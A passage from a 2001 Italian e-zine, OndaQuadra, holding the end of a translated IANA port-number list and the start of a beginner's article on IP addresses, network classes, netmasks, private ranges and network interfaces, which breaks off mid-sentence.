5307/udp SCO AIP # Barrie Cooper cfengine 5308/tcp CFengine cfengine 5308/udp CFengine # Mark Burgess jprinter 5309/tcp J Printer jprinter 5309/udp J Printer # Ken Blackwell outlaws 5310/tcp Outlaws outlaws 5310/udp Outlaws # Richard Fife tmlogin 5311/tcp TM Login tmlogin 5311/udp TM Login # Eric Sharakan # 5312-5399 Unassigned excerpt 5400/tcp Excerpt Search excerpt 5400/udp Excerpt Search excerpts 5401/tcp Excerpt Search Secure excerpts 5401/udp Excerpt Search Secure # John Hinsdale mftp 5402/tcp MFTP mftp 5402/udp MFTP # Alan Rosenberg hpoms-ci-lstn 5403/tcp HPOMS-CI-LSTN hpoms-ci-lstn 5403/udp HPOMS-CI-LSTN hpoms-dps-lstn 5404/tcp HPOMS-DPS-LSTN hpoms-dps-lstn 5404/udp HPOMS-DPS-LSTN # Harold Froehling netsupport 5405/tcp NetSupport netsupport 5405/udp NetSupport # Paul Sanders systemics-sox 5406/tcp Systemics Sox systemics-sox 5406/udp Systemics Sox # Gary Howland foresyte-clear 5407/tcp Foresyte-Clear foresyte-clear 5407/udp Foresyte-Clear foresyte-sec 5408/tcp Foresyte-Sec foresyte-sec 5408/udp Foresyte-Sec # Jorge Aldana salient-dtasrv 5409/tcp Salient Data Server salient-dtasrv 5409/udp Salient Data Server salient-usrmgr 5410/tcp Salient User Manager salient-usrmgr 5410/udp Salient User Manager # Richard Farnham actnet 5411/tcp ActNet actnet 5411/udp ActNet # Simon Robillard continuus 5412/tcp Continuus continuus 5412/udp Continuus # Steven Holtsberg wwiotalk 5413/tcp WWIOTALK wwiotalk 5413/udp WWIOTALK # Roger Knobbe statusd 5414/tcp StatusD statusd 5414/udp StatusD # Stephen Misel ns-server 5415/tcp NS Server ns-server 5415/udp NS Server # Jeffrey Chiao sns-gateway 5416/tcp SNS Gateway sns-gateway 5416/udp SNS Gateway sns-agent 5417/tcp SNS Agent sns-agent 5417/udp SNS Agent # Mary Holstage mcntp 5418/tcp MCNTP mcntp 5418/udp MCNTP # Heiko Rupp dj-ice 5419/tcp DJ-ICE dj-ice 5419/udp DJ-ICE # Don Tyson cylink-c 5420/tcp Cylink-C cylink-c 5420/udp Cylink-C # John Jobe # 5421-5499 Unassigned fcp-addr-srvr1 5500/tcp fcp-addr-srvr1 fcp-addr-srvr1 5500/udp fcp-addr-srvr1 fcp-addr-srvr2 5501/tcp fcp-addr-srvr2 fcp-addr-srvr2 5501/udp fcp-addr-srvr2 fcp-srvr-inst1 5502/tcp fcp-srvr-inst1 fcp-srvr-inst1 5502/udp fcp-srvr-inst1 fcp-srvr-inst2 5503/tcp fcp-srvr-inst2 fcp-srvr-inst2 5503/udp fcp-srvr-inst2 fcp-cics-gw1 5504/tcp fcp-cics-gw1 fcp-cics-gw1 5504/udp fcp-cics-gw1 # Mark Zeiss # 5504-5554 Unassigned ############Port 5555 also used by HP Omniback##################### personal-agent 5555/tcp Personal Agent personal-agent 5555/udp Personal Agent # Jackie Wu ################################################################### # 5556-5598 Unassigned esinstall 5599/tcp Enterprise Security Remote Install esinstall 5599/udp Enterprise Security Remote Install esmmanager 5600/tcp Enterprise Security Manager esmmanager 5600/udp Enterprise Security Manager esmagent 5601/tcp Enterprise Security Agent esmagent 5601/udp Enterprise Security Agent # Kimberly Gibbs a1-msc 5602/tcp A1-MSC a1-msc 5602/udp A1-MSC a1-bs 5603/tcp A1-BS a1-bs 5603/udp A1-BS a3-sdunode 5604/tcp A3-SDUNode a3-sdunode 5604/udp A3-SDUNode a4-sdunode 5605/tcp A4-SDUNode a4-sdunode 5605/udp A4-SDUNode # Mike Dolan pcanywheredata 5631/tcp pcANYWHEREdata pcanywheredata 5631/udp pcANYWHEREdata pcanywherestat 5632/tcp pcANYWHEREstat pcanywherestat 5632/udp pcANYWHEREstat # Jon Rosarky rrac 5678/tcp Remote Replication Agent Connection rrac 5678/udp Remote Replication Agent Connection dccm 5679/tcp Direct Cable Connect Manager dccm 5679/udp Direct Cable Connect Manager # Mark Miller proshareaudio 5713/tcp proshare conf audio proshareaudio 5713/udp proshare conf audio prosharevideo 5714/tcp proshare conf video prosharevideo 5714/udp proshare conf video prosharedata 5715/tcp proshare conf data prosharedata 5715/udp proshare conf data prosharerequest 5716/tcp proshare conf request prosharerequest 5716/udp proshare conf request prosharenotify 5717/tcp proshare conf notify prosharenotify 5717/udp proshare conf notify # openmail 5729/tcp Openmail User Agent Layer openmail 5729/udp Openmail User Agent Layer # OpenMail Encyclopedia # Don Loughry ida-discover1 5741/tcp IDA Discover Port 1 ida-discover1 5741/udp IDA Discover Port 1 ida-discover2 5742/tcp IDA Discover Port 2 ida-discover2 5742/udp IDA Discover Port 2 # Morten Christensen fcopy-server 5745/tcp fcopy-server fcopy-server 5745/udp fcopy-server fcopys-server 5746/tcp fcopys-server fcopys-server 5746/udp fcopys-server # Moshe Leibovitch # Don Loughry x11 6000-6063/tcp X Window System x11 6000-6063/udp X Window System # Stephen Gildea softcm 6110/tcp HP SoftBench CM softcm 6110/udp HP SoftBench CM spc 6111/tcp HP SoftBench Sub-Process Control spc 6111/udp HP SoftBench Sub-Process Control # Scott A. Kramer dtspcd 6112/tcp dtspcd dtspcd 6112/udp dtspcd # Doug Royer backup-express 6123/tcp Backup Express backup-express 6123/udp Backup Express # Chi Shih Chang meta-corp 6141/tcp Meta Corporation License Manager meta-corp 6141/udp Meta Corporation License Manager # Osamu Masuda <--none---> aspentec-lm 6142/tcp Aspen Technology License Manager aspentec-lm 6142/udp Aspen Technology License Manager # Kevin Massey watershed-lm 6143/tcp Watershed License Manager watershed-lm 6143/udp Watershed License Manager # David Ferrero statsci1-lm 6144/tcp StatSci License Manager - 1 statsci1-lm 6144/udp StatSci License Manager - 1 statsci2-lm 6145/tcp StatSci License Manager - 2 statsci2-lm 6145/udp StatSci License Manager - 2 # Scott Blachowicz lonewolf-lm 6146/tcp Lone Wolf Systems License Manager lonewolf-lm 6146/udp Lone Wolf Systems License Manager # Dan Klein montage-lm 6147/tcp Montage License Manager montage-lm 6147/udp Montage License Manager # Michael Ubell ricardo-lm 6148/tcp Ricardo North America License Manager ricardo-lm 6148/udp Ricardo North America License Manager # M Flemming tal-pod 6149/tcp tal-pod tal-pod 6149/udp tal-pod # Steven Loomis crip 6253/tcp CRIP crip 6253/udp CRIP # Mike Rodbell clariion-evr01 6389/tcp clariion-evr01 clariion-evr01 6389/udp clariion-evr01 # Dave DesRoches skip-cert-recv 6455/tcp SKIP Certificate Receive skip-cert-send 6456/tcp SKIP Certificate Send # Tom Markson lvision-lm 6471/tcp LVision License Manager lvision-lm 6471/udp LVision License Manager # Brian McKinnon # 6472-6499 Unassigned boks 6500/tcp BoKS Master boks 6500/udp BoKS Master boks_servc 6501/tcp BoKS Servc boks_servc 6501/udp BoKS Servc boks_servm 6502/tcp BoKS Servm boks_servm 6502/udp BoKS Servm boks_clntd 6503/tcp BoKS Clntd boks_clntd 6503/udp BoKS Clntd # 6504 Unassigned badm_priv 6505/tcp BoKS Admin Private Port badm_priv 6505/udp BoKS Admin Private Port badm_pub 6506/tcp BoKS Admin Public Port badm_pub 6506/udp BoKS Admin Public Port bdir_priv 6507/tcp BoKS Dir Server, Private Port bdir_priv 6507/udp BoKS Dir Server, Private Port bdir_pub 6508/tcp BoKS Dir Server, Public Port bdir_pub 6508/udp BoKS Dir Server, Public Port # Magnus Nystrom # 6509-6549 Unassigned fg-sysupdate 6550/tcp fg-sysupdate fg-sysupdate 6550/udp fg-sysupdate # Mark Beyer # 6551-6557 Unassigned xdsxdm 6558/tcp xdsxdm 6558/udp ircu 6665-6669/tcp IRCU ircu 6665-6669/udp IRCU # Brian Tackett vocaltec-gold 6670/tcp Vocaltec Global Online Directory vocaltec-gold 6670/udp Vocaltec Global Online Directory # Scott Petrack vision_server 6672/tcp vision_server vision_server 6672/udp vision_server vision_elmd 6673/tcp vision_elmd vision_elmd 6673/udp vision_elmd # Chris Kramer kti-icad-srvr 6701/tcp KTI/ICAD Nameserver kti-icad-srvr 6701/udp KTI/ICAD Nameserver # Stanley Knutson hnmp 6790/tcp HNMP hnmp 6790/udp HNMP # Jude George ambit-lm 6831/tcp ambit-lm ambit-lm 6831/udp ambit-lm # Don Hejna netmo-default 6841/tcp Netmo Default netmo-default 6841/udp Netmo Default netmo-http 6842/tcp Netmo HTTP netmo-http 6842/udp Netmo HTTP # Urs Bertschinger acmsoda 6969/tcp acmsoda acmsoda 6969/udp acmsoda # Daniel Simms iatp-highpri 6998/tcp IATP-highPri iatp-highpri 6998/udp IATP-highPri iatp-normalpri 6999/tcp IATP-normalPri iatp-normalpri 6999/udp IATP-normalPri # John Murphy afs3-fileserver 7000/tcp file server itself afs3-fileserver 7000/udp file server itself afs3-callback 7001/tcp callbacks to cache managers afs3-callback 7001/udp callbacks to cache managers afs3-prserver 7002/tcp users & groups database afs3-prserver 7002/udp users & groups database afs3-vlserver 7003/tcp volume location database afs3-vlserver 7003/udp volume location database afs3-kaserver 7004/tcp AFS/Kerberos authentication service afs3-kaserver 7004/udp AFS/Kerberos authentication service afs3-volser 7005/tcp volume managment server afs3-volser 7005/udp volume managment server afs3-errors 7006/tcp error interpretation service afs3-errors 7006/udp error interpretation service afs3-bos 7007/tcp basic overseer process afs3-bos 7007/udp basic overseer process afs3-update 7008/tcp server-to-server updater afs3-update 7008/udp server-to-server updater afs3-rmtsys 7009/tcp remote cache manager service afs3-rmtsys 7009/udp remote cache manager service ups-onlinet 7010/tcp onlinet uninterruptable power supplies ups-onlinet 7010/udp onlinet uninterruptable power supplies # Brian Hammill dpserve 7020/tcp DP Serve dpserve 7020/udp DP Serve dpserveadmin 7021/tcp DP Serve Admin dpserveadmin 7021/udp DP Serve Admin # Allan Stanley arcp 7070/tcp ARCP arcp 7070/udp ARCP # Jude George lazy-ptop 7099/tcp lazy-ptop lazy-ptop 7099/udp lazy-ptop # Guy Keren font-service 7100/tcp X Font Service font-service 7100/udp X Font Service # Stephen Gildea virprot-lm 7121/tcp Virtual Prototypes License Manager virprot-lm 7121/udp Virtual Prototypes License Manager # Victor Galis clutild 7174/tcp Clutild clutild 7174/udp Clutild # Cheryl Stoutenburg fodms 7200/tcp FODMS FLIP fodms 7200/udp FODMS FLIP # David Anthony dlip 7201/tcp DLIP dlip 7201/udp DLIP # Albert Manfredi winqedit 7395/tcp winqedit winqedit 7395/udp winqedit # David Greer pmdmgr 7426/tcp OpenView DM Postmaster Manager pmdmgr 7426/udp OpenView DM Postmaster Manager oveadmgr 7427/tcp OpenView DM Event Agent Manager oveadmgr 7427/udp OpenView DM Event Agent Manager ovladmgr 7428/tcp OpenView DM Log Agent Manager ovladmgr 7428/udp OpenView DM Log Agent Manager opi-sock 7429/tcp OpenView DM rqt communication opi-sock 7429/udp OpenView DM rqt communication xmpv7 7430/tcp OpenView DM xmpv7 api pipe xmpv7 7430/udp OpenView DM xmpv7 api pipe pmd 7431/tcp OpenView DM ovc/xmpv3 api pipe pmd 7431/udp OpenView DM ovc/xmpv3 api pipe # Dave Lamb faximum 7437/tcp Faximum faximum 7437/udp Faximum # George Pajari telops-lmd 7491/tcp telops-lmd telops-lmd 7491/udp telops-lmd # David Spencer pafec-lm 7511/tcp pafec-lm pafec-lm 7511/udp pafec-lm # Billy Dhillon nta-ds 7544/tcp FlowAnalyzer DisplayServer nta-ds 7544/udp FlowAnalyzer DisplayServer nta-us 7545/tcp FlowAnalyzer UtilityServer nta-us 7545/udp FlowAnalyzer UtilityServer # Fred Messinger vsi-omega 7566/tcp VSI Omega vsi-omega 7566/udp VSI Omega # Curtis Smith aries-kfinder 7570/tcp Aries Kfinder aries-kfinder 7570/udp Aries Kfinder # James King, III sun-lm 7588/tcp Sun License Manager sun-lm 7588/udp Sun License Manager # Sophie Deng pmdfmgt 7633/tcp PMDF Management pmdfmgt 7633/udp PMDF Management # Chris Newman cbt 7777/tcp cbt cbt 7777/udp cbt # Tony Ballardie accu-lmgr 7781/tcp accu-lmgr accu-lmgr 7781/udp accu-lmgr # Moises E. Hernandez t2-drm 7932/tcp Tier 2 Data Resource Manager t2-drm 7932/udp Tier 2 Data Resource Manager t2-brm 7933/tcp Tier 2 Business Rules Manager t2-brm 7933/udp Tier 2 Business Rules Manager # Peter Carlson quest-vista 7980/tcp Quest Vista quest-vista 7980/udp Quest Vista # Preston Bannister irdmi2 7999/tcp iRDMI2 irdmi2 7999/udp iRDMI2 irdmi 8000/tcp iRDMI irdmi 8000/udp iRDMI # Gil Shafriri vcom-tunnel 8001/tcp VCOM Tunnel vcom-tunnel 8001/udp VCOM Tunnel # Mark Lewandowski http-alt 8008/tcp HTTP Alternate http-alt 8008/udp HTTP Alternate # James Gettys pro-ed 8032/tcp ProEd pro-ed 8032/udp ProEd mindprint 8033/tcp MindPrint mindprint 8033/udp MindPrint # Larry Tusoni http-alt 8080/tcp HTTP Alternate (see port 80) http-alt 8080/udp HTTP Alternate (see port 80) # Stephen Casner trivnet1 8200/tcp TRIVNET trivnet1 8200/udp TRIVNET trivnet2 8201/tcp TRIVNET trivnet2 8201/udp TRIVNET # Saar Wilf lm-perfworks 8204/tcp LM Perfworks lm-perfworks 8204/udp LM Perfworks lm-instmgr 8205/tcp LM Instmgr lm-instmgr 8205/udp LM Instmgr lm-dta 8206/tcp LM Dta lm-dta 8206/udp LM Dta lm-sserver 8207/tcp LM SServer lm-sserver 8207/udp LM SServer # Chris Flynn server-find 8351/tcp Server Find server-find 8351/udp Server Find # Chris Brown cruise-enum 8376/tcp Cruise ENUM cruise-enum 8376/udp Cruise ENUM cruise-swroute 8377/tcp Cruise SWROUTE cruise-swroute 8377/udp Cruise SWROUTE cruise-config 8378/tcp Cruise CONFIG cruise-config 8378/udp Cruise CONFIG cruise-diags 8379/tcp Cruise DIAGS cruise-diags 8379/udp Cruise DIAGS cruise-update 8380/tcp Cruise UPDATE cruise-update 8380/udp Cruise UPDATE # Steve Husak cvd 8400/tcp cvd cvd 8400/udp cvd sabarsd 8401/tcp sabarsd sabarsd 8401/udp sabarsd abarsd 8402/tcp abarsd abarsd 8402/udp abarsd admind 8403/tcp admind admind 8403/udp admind # Aaron Bilbrey npmp 8450/tcp npmp npmp 8450/udp npmp # Ian Chard vp2p 8473/tcp Virtual Point to Point vp2p 8473/udp Virtual Point to Point # Jerome Grimbert rtsp-alt 8554/tcp RTSP Alternate (see port 554) rtsp-alt 8554/udp RTSP Alternate (see port 554) # Stephen Casner ibus 8733/tcp iBus ibus 8733/udp iBus # Silvano Maffeis ultraseek-http 8765/tcp Ultraseek HTTP ultraseek-http 8765/udp Ultraseek HTTP # Walter Underwood cddbp-alt 8880/tcp CDDBP cddbp-alt 8880/udp CDDBP # Steve Scherf ddi-tcp-1 8888/tcp NewsEDGE server TCP (TCP 1) ddi-udp-1 8888/udp NewsEDGE server UDP (UDP 1) ddi-tcp-2 8889/tcp Desktop Data TCP 1 ddi-udp-2 8889/udp NewsEDGE server broadcast ddi-tcp-3 8890/tcp Desktop Data TCP 2 ddi-udp-3 8890/udp NewsEDGE client broadcast ddi-tcp-4 8891/tcp Desktop Data TCP 3: NESS application ddi-udp-4 8891/udp Desktop Data UDP 3: NESS application ddi-tcp-5 8892/tcp Desktop Data TCP 4: FARM product ddi-udp-5 8892/udp Desktop Data UDP 4: FARM product ddi-tcp-6 8893/tcp Desktop Data TCP 5: NewsEDGE/Web application ddi-udp-6 8893/udp Desktop Data UDP 5: NewsEDGE/Web application ddi-tcp-7 8894/tcp Desktop Data TCP 6: COAL application ddi-udp-7 8894/udp Desktop Data UDP 6: COAL application # Fred Yao jmb-cds1 8900/tcp JMB-CDS 1 jmb-cds1 8900/udp JMB-CDS 1 jmb-cds2 8901/tcp JMB-CDS 2 jmb-cds2 8901/udp JMB-CDS 2 # Curtis Bray cslistener 9000/tcp CSlistener cslistener 9000/udp CSlistener # David Jones kastenxpipe 9001/tcp KastenX Pipe kastenxpipe 9001/udp KastenX Pipe # Guy Cheng sctp 9006/tcp SCTP sctp 9006/udp SCTP # Gary Regan websm 9090/tcp WebSM websm 9090/udp WebSM # I-Hsing Tsao wap-wsp 9200/tcp WAP connectionless session service wap-wsp 9200/udp WAP connectionless session service wap-wsp-wtp 9201/tcp WAP session service wap-wsp-wtp 9201/udp WAP session service wap-wsp-s 9202/tcp WAP secure connectionless session service wap-wsp-s 9202/udp WAP secure connectionless session service wap-wsp-wtp-s 9203/tcp WAP secure session service wap-wsp-wtp-s 9203/udp WAP secure session service wap-vcard 9204/tcp WAP vCard wap-vcard 9204/udp WAP vCard wap-vcal 9205/tcp WAP vCal wap-vcal 9205/udp WAP vCal wap-vcard-s 9206/tcp WAP vCard Secure wap-vcard-s 9206/udp WAP vCard Secure wap-vcal-s 9207/tcp WAP vCal Secure wap-vcal-s 9207/udp WAP vCal Secure # WAP Forum # WAP Forum ismserver 9500/tcp ismserver ismserver 9500/udp ismserver # Ian Gordon man 9535/tcp man 9535/udp msgsys 9594/tcp Message System msgsys 9594/udp Message System pds 9595/tcp Ping Discovery Service pds 9595/udp Ping Discovery Service # Kai Ming Chan sd 9876/tcp Session Director sd 9876/udp Session Director # Van Jacobson cyborg-systems 9888/tcp CYBORG Systems cyborg-systems 9888/udp CYBORG Systems # Malcolm Graham monkeycom 9898/tcp MonkeyCom monkeycom 9898/udp MonkeyCom # Yuji Kuwabara # 9899-9991 Unassigned palace 9992/tcp Palace palace 9992/udp Palace palace 9993/tcp Palace palace 9993/udp Palace palace 9994/tcp Palace palace 9994/udp Palace palace 9995/tcp Palace palace 9995/udp Palace palace 9996/tcp Palace palace 9996/udp Palace palace 9997/tcp Palace palace 9997/udp Palace # Charles Kawasaki distinct32 9998/tcp Distinct32 distinct32 9998/udp Distinct32 distinct 9999/tcp distinct distinct 9999/udp distinct # Anoop Tewari ndmp 10000/tcp Network Data Management Protocol ndmp 10000/udp Network Data Management Protocol # Brian Ehrmantraut # 10001-10006 Unassigned mvs-capacity 10007/tcp MVS Capacity mvs-capacity 10007/udp MVS Capacity # Donna Dillenberger # 10008-10079 Unassigned amanda 10080/tcp Amanda amanda 10080/udp Amanda # John Jackson # # 10081-10999 Unassigned irisa 11000/tcp IRISA irisa 11000/udp IRISA # Vladimir Brauner metasys 11001/tcp Metasys metasys 11001/udp Metasys # Tobin Schuster vce 11111/tcp Viral Computing Environment (VCE) vce 11111/udp Viral Computing Environment (VCE) # Fred Cohen atm-uhas 11367/tcp ATM UHAS atm-uhas 11367/udp ATM UHAS # Todd Barker entextxid 12000/tcp IBM Enterprise Extender SNA XID Exchange entextxid 12000/udp IBM Enterprise Extender SNA XID Exchange entextnetwk 12001/tcp IBM Enterprise Extender SNA COS Network Priority entextnetwk 12001/udp IBM Enterprise Extender SNA COS Network Priority entexthigh 12002/tcp IBM Enterprise Extender SNA COS High Priority entexthigh 12002/udp IBM Enterprise Extender SNA COS High Priority entextmed 12003/tcp IBM Enterprise Extender SNA COS Medium Priority entextmed 12003/udp IBM Enterprise Extender SNA COS Medium Priority entextlow 12004/tcp IBM Enterprise Extender SNA COS Low Priority entextlow 12004/udp IBM Enterprise Extender SNA COS Low Priority # Eugene Cox tsaf 12753/tcp tsaf port tsaf 12753/udp tsaf port # Andreas Fehr <100042.2070@CompuServe.COM> i-zipqd 13160/tcp I-ZIPQD i-zipqd 13160/udp I-ZIPQD # Chuck Runquist bprd 13720/tcp BPRD Protocol (VERITAS NetBackup) bprd 13720/udp BPRD Protocol (VERITAS NetBackup) bpbrm 13721/tcp BPBRM Protocol (VERITAS NetBackup) bpbrm 13721/udp BPBRM Protocol (VERITAS NetBackup) # Jeff Holmbeck bpjava-msvc 13722/tcp BP Java MSVC Protocol bpjava-msvc 13722/udp BP Java MSVC Protocol # Tim Schmidt bpcd 13782/tcp VERITAS NetBackup bpcd 13782/udp VERITAS NetBackup vopied 13783/tcp VOPIED Protocol vopied 13783/udp VOPIED Protocol # Jeff Holmbeck dsmcc-config 13818/tcp DSMCC Config dsmcc-config 13818/udp DSMCC Config dsmcc-session 13819/tcp DSMCC Session Messages dsmcc-session 13819/udp DSMCC Session Messages dsmcc-passthru 13820/tcp DSMCC Pass-Thru Messages dsmcc-passthru 13820/udp DSMCC Pass-Thru Messages dsmcc-download 13821/tcp DSMCC Download Protocol dsmcc-download 13821/udp DSMCC Download Protocol dsmcc-ccp 13822/tcp DSMCC Channel Change Protocol dsmcc-ccp 13822/udp DSMCC Channel Change Protocol # Tim Addington # ISO/IEC 13818-6 MPEG-2 DSM-CC itu-sccp-ss7 14001/tcp ITU SCCP (SS7) itu-sccp-ss7 14001/udp ITU SCCP (SS7) # Miguel Angel Garcia netserialext1 16360/tcp netserialext1 netserialext1 16360/udp netserialext1 netserialext2 16361/tcp netserialext2 netserialext2 16361/udp netserialext2 netserialext3 16367/tcp netserialext3 netserialext3 16367/udp netserialext3 netserialext4 16368/tcp netserialext4 netserialext4 16368/udp netserialext4 # Mike Hoy isode-dua 17007/tcp isode-dua 17007/udp # chipper 17219/tcp Chipper chipper 17219/udp Chipper # Ronald Jimmink biimenu 18000/tcp Beckman Instruments, Inc. biimenu 18000/udp Beckman Instruments, Inc. # R. L. Meyering hp-sco 19410/tcp hp-sco hp-sco 19410/udp hp-sco hp-sca 19411/tcp hp-sca hp-sca 19411/udp hp-sca # Larry Schwartz jcp 19541/tcp JCP Client jcp 19541/udp JCP Client # Yuji Sasaki dnp 20000/tcp DNP dnp 20000/udp DNP # Michael Thesing track 20670/tcp Track track 20670/udp Track # Michael Sweet webphone 21845/tcp webphone webphone 21845/udp webphone netspeak-is 21846/tcp NetSpeak Corp. Directory Services netspeak-is 21846/udp NetSpeak Corp. Directory Services netspeak-cs 21847/tcp NetSpeak Corp. Connection Services netspeak-cs 21847/udp NetSpeak Corp. Connection Services netspeak-acd 21848/tcp NetSpeak Corp. Automatic Call Distribution netspeak-acd 21848/udp NetSpeak Corp. Automatic Call Distribution netspeak-cps 21849/tcp NetSpeak Corp. Credit Processing System netspeak-cps 21849/udp NetSpeak Corp. Credit Processing System # Shane D. Mattaway wnn6 22273/tcp wnn6 wnn6 22273/udp wnn6 # Yasunari Gon Yamasita aws-brf 22800/tcp Telerate Information Platform LAN aws-brf 22800/udp Telerate Information Platform LAN # Timo Sivonen brf-gw 22951/tcp Telerate Information Platform WAN brf-gw 22951/udp Telerate Information Platform WAN # Timo Sivonen med-ltp 24000/tcp med-ltp med-ltp 24000/udp med-ltp med-fsp-rx 24001/tcp med-fsp-rx med-fsp-rx 24001/udp med-fsp-rx med-fsp-tx 24002/tcp med-fsp-tx med-fsp-tx 24002/udp med-fsp-tx med-supp 24003/tcp med-supp med-supp 24003/udp med-supp med-ovw 24004/tcp med-ovw med-ovw 24004/udp med-ovw med-ci 24005/tcp med-ci med-ci 24005/udp med-ci med-net-svc 24006/tcp med-net-svc med-net-svc 24006/udp med-net-svc # Juergen Fischbach intel_rci 24386/tcp Intel RCI intel_rci 24386/udp Intel RCI # Mark Lewis icl-twobase1 25000/tcp icl-twobase1 icl-twobase1 25000/udp icl-twobase1 icl-twobase2 25001/tcp icl-twobase2 icl-twobase2 25001/udp icl-twobase2 icl-twobase3 25002/tcp icl-twobase3 icl-twobase3 25002/udp icl-twobase3 icl-twobase4 25003/tcp icl-twobase4 icl-twobase4 25003/udp icl-twobase4 icl-twobase5 25004/tcp icl-twobase5 icl-twobase5 25004/udp icl-twobase5 icl-twobase6 25005/tcp icl-twobase6 icl-twobase6 25005/udp icl-twobase6 icl-twobase7 25006/tcp icl-twobase7 icl-twobase7 25006/udp icl-twobase7 icl-twobase8 25007/tcp icl-twobase8 icl-twobase8 25007/udp icl-twobase8 icl-twobase9 25008/tcp icl-twobase9 icl-twobase9 25008/udp icl-twobase9 icl-twobase10 25009/tcp icl-twobase10 icl-twobase10 25009/udp icl-twobase10 # J. A. (Tony) Sever vocaltec-hos 25793/tcp Vocaltec Address Server vocaltec-hos 25793/udp Vocaltec Address Server # Scott Petrack quake 26000/tcp quake quake 26000/udp quake wnn6-ds 26208/tcp wnn6-ds wnn6-ds 26208/udp wnn6-ds # Yasunari Gon Yamasita flex-lm 27000-27009 FLEX LM (1-10) # Daniel Birns tw-auth-key 27999/tcp TW Authentication/Key Distribution and tw-auth-key 27999/udp Attribute Certificate Services # Alex Duncan filenet-tms 32768/tcp Filenet TMS filenet-tms 32768/udp Filenet TMS filenet-rpc 32769/tcp Filenet RPC filenet-rpc 32769/udp Filenet RPC filenet-nch 32770/tcp Filenet NCH filenet-nch 32770/udp Filenet NCH # Daniel Whelan traceroute 33434/tcp traceroute use traceroute 33434/udp traceroute use # IANA ######## Possible unauthorized use of Port 43188 by reachout ######### rockwell-encap 44818/tcp Rockwell Encapsulation rockwell-encap 44818/udp Rockwell Encapsulation # Brian Batke eba 45678/tcp EBA PRISE eba 45678/udp EBA PRISE # Patrick dbbrowse 47557/tcp Databeam Corporation dbbrowse 47557/udp Databeam Corporation # Cindy Martin directplaysrvr 47624/tcp Direct Play Server directplaysrvr 47624/udp Direct Play Server # Ajay Jindal ap 47806/tcp ALC Protocol ap 47806/udp ALC Protocol # Andrew Newton bacnet 47808/tcp Building Automation and Control Networks bacnet 47808/udp Building Automation and Control Networks # H. Michael Newman nimcontroller 48000/tcp Nimbus Controller nimcontroller 48000/udp Nimbus Controller nimspooler 48001/tcp Nimbus Spooler nimspooler 48001/udp Nimbus Spooler nimhub 48002/tcp Nimbus Hub nimhub 48002/udp Nimbus Hub nimgtw 48003/tcp Nimbus Gateway nimgtw 48003/udp Nimbus Gateway # Carstein Seeberg PORTE DYNAMIC E/O PRIVATE Le porte Dynamic e/o Private sono quelle tra 49152 e 65535 non ci sono referenze (ndr.) BIBLIOGRAFIA [RFC768] Postel, J., "User Datagram Protocol", STD 6, RFC 768, USC/Information Sciences Institute, Agosto 1980. [RFC793] Postel, J., ed., "Transmission Control Protocol - DARPA Internet Program Protocol Specification", STD 7, RFC 793, USC/Information Sciences Institute, Settembre 1981. {Traduzione e parziale riadattamento a cura di phobos per OQ Magazine} +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [NETW0RKiNG] #01 - 19/03/2001 | | WHAT U MUST TO KNOW I ................................. [Malkavian] 0x0B/0x1A | +-------------------------------------------------------------------------------+ Prima parte. Nota bene: nel testo ci si riferisce (nei punti in cui si parla di comandi o cose similari) a Sistemi Operativi Unix (Linux in primis). Comunque quasi tutte le nozioni valgono per qualsiasi Sistema Operativo. In questo articolo trattero' in modo piu' conciso possibile alcune nozioni basilari, che ogni smanettone dovrebbe conoscere per orientarsi nell'universo digitale:) Sara' un articolo composto da due parti, la seconda parte verra' trattata sul prossimo numero di OndaQadra...stay tuned !!! Questa prima discorso riguarda indirizzi ip, reti e protocolli di rete. Cominciamo a definire gli indirizzi ip, che sono quelli che identificano un utente connesso alla rete internet: ip = internet protocol. Gli indirizzi ip hanno il formato a.b.c.d cioe' sono composti da 4 numeri, che hanno un range tra 0 e 255. L'indirizzo di una rete si ottiene mettendo uno 0 nelle parti dell'ip che indicano i vari computer connessi alla rete. Si avranno pertanto: reti di classe A (grandi reti) ---> a.0.0.0 reti di classe B (medie reti) ---> a.b.0.0 reti di classe C (piccole reti) ---> a.b.c.0 Ad esempio una rete di classe C puo' contenere fino a 255 computer ai quali verranno assegnati ip differenti, una rete di classe B potra' contenere invece fino a 65025 (255*255) coi relativi ip, e cosi' via... Il NETMASK o maschera della rete si ottiene specificando 255 nelle parti dell'ip che indicano la rete in questione (che sono le lettere usate negli esempi illustrati sopra) e mettendo 0 nelle parti dell'indirizzo di rete che indicano i computer appartenenti a quella data rete: netmask per rete di classe A ---> 255.0.0.0 netmask per rete di classe B ---> 255.255.0.0 netmask per rete di classe C ---> 255.255.255.0 Questi indirizzi ip valgono per le reti di pc connessi direttamente ad internet, infatti per reti di pc che NON sono connessi direttamente alla rete delle reti:) gli ip dei computer 'interni' devono essere compresi in questi range: reti di classe A ---> da 10.0.0.0 a 10.255.255.255 reti di classe B ---> da 172.16.0.0 a 172.31.255.255 reti di classe C ---> da 192.168.0.0 a 192.168.255.255 In questi casi abbiamo, come detto, reti i cui pc non sono direttamente connessi ad internet (per esempio i pc appartenenti ad una rete locale) e quindi i loro ip varranno solo al- l'interno della loro rete. Questi pc potranno poi entrare in internet tramite un firewall o proxy che avra' un ip valido per internet, del tipo di quelli descritti prima. Lo schema e' questo (naturalmente gli ip sono solo esempi): PC1 10.0.0.2 \ PC2 10.0.0.3 -> Proxy o firewall (ip 62.122.123.4) -> INTERNET PC3 10.0.0.4 / Poiche' un pc puo' essere collegato a piu' di una rete o ad altri pc (tramite modem, scheda di rete, ecc.) esso puo' avere simultaneamente piu' indirizzi ip, ciascuno pertinente ad un collegamento. Si dice che in tal caso ogni ip viene associato ad una INTERFACCIA DI RETE. Una interfaccia di rete è un impostazione a livello del software necessaria per usare una PERIFERICA DI RETE, quale una scheda di rete, un modem, una porta seriale, una porta parallela e cosi' via. Quindi diciamo che ogni periferica hardware usata da un pc per collegarsi ad un altro pc o ad una rete e' gestita da una interfaccia di rete a cui e' assegnato un proprio ip. Le interfaccie di rete piu' comuni sono (con 'n' = ad un numero > di 0) : eth n ---> interfaccia con scheda di rete ethernet ppp n ---> interfaccia di porta seriale con protocollo PPP (point to point protocol): modem sl n ---> interfaccia di porta seriale che usa il protocollo SLIP (serial line internet protocol) plip n ---> interfaccia di porta parallela, che usa il PLIP (parallel line internet protocol) lo n ---> LOCALHOST o LOOPBACK L'ultima interfaccia, ovvero 'lo' o localhost o loopback e' un interfaccia che puo' essere usata per provare il collegamento o per eseguire un software per rete in un pc NON connesso ad alcuna rete esterna. In pratica il pc si collega a se stesso. E' sempre associata all'ip 127.0.0.1 e deve essere sempre presente su ogni 